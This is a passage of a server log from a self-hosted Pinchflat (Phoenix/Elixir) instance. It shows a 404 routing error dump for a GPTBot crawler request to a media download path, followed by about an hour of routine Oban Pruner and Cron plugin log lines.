"x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262272.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.246"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.246"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GID8Bb0iMKeS2B8AMOQC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54266}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.262271.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 54266}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.246", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.246" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.262272.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 21:56:00.422 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.471 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:30.424 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.426 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.472 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:30.428 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.430 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.473 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:30.432 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.434 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.474 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:30.436 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.438 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.475 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:30.440 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.442 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.476 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:30.444 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.446 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.477 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:30.448 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.450 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.478 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:30.452 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.454 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.479 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:30.456 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.458 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.482 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:30.460 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.463 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.484 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:30.465 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.467 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.485 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:30.469 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.471 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.486 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:30.473 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.474 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.487 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:30.477 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.479 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.488 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:30.481 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.483 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.489 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:30.485 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.487 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.490 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:30.489 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.491 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:00.491 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:30.494 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.492 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:00.496 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:30.498 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.493 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:00.500 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:30.502 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.494 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:00.504 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:30.506 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.495 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:00.508 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:30.510 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.496 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:00.512 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:30.514 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.497 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:00.516 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:30.518 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.498 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:00.520 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:30.522 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.499 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:00.524 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:30.526 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.500 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:00.528 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:30.530 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.501 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:00.532 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:30.534 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.502 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:00.536 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:30.538 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.503 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:00.540 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:30.542 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.504 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:00.544 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:30.546 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.505 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:00.548 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:30.550 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.506 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:00.553 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:30.555 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.507 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:00.557 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:30.559 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.508 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:00.561 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:30.563 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.509 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:00.565 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:30.567 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.510 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:00.569 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:30.571 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.511 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:00.573 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:30.575 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.512 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:00.577 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:30.579 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.513 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:00.581 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:30.583 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.514 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:00.585 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:30.587 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.515 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:00.590 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:30.592 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.517 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:00.594 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:30.596 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.518 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:00.598 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:30.600 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.519 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:00.602 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:30.605 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.520 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:00.607 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:30.609 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.521 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:00.611 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:30.613 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.522 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:00.615 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:30.617 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.523 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:00.619 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:30.621 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.524 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:00.623 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:30.625 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.525 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:00.627 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:30.629 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.526 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:00.631 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:30.633 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.527 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:00.635 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:30.637 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.528 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:00.639 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:30.641 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.529 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:00.643 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:30.645 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.530 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:00.647 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:30.649 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.531 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:00.651 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:30.653 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.532 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:00.655 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:30.657 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.533 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:00.659 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:30.661 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.534 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:00.663 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:30.665 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.535 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:00.667 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:30.669 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.536 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:00.671 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:30.673 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.537 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:00.675 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:30.677 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.538 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:00.679 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:30.680 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.539 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:00.682 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:30.685 [info] 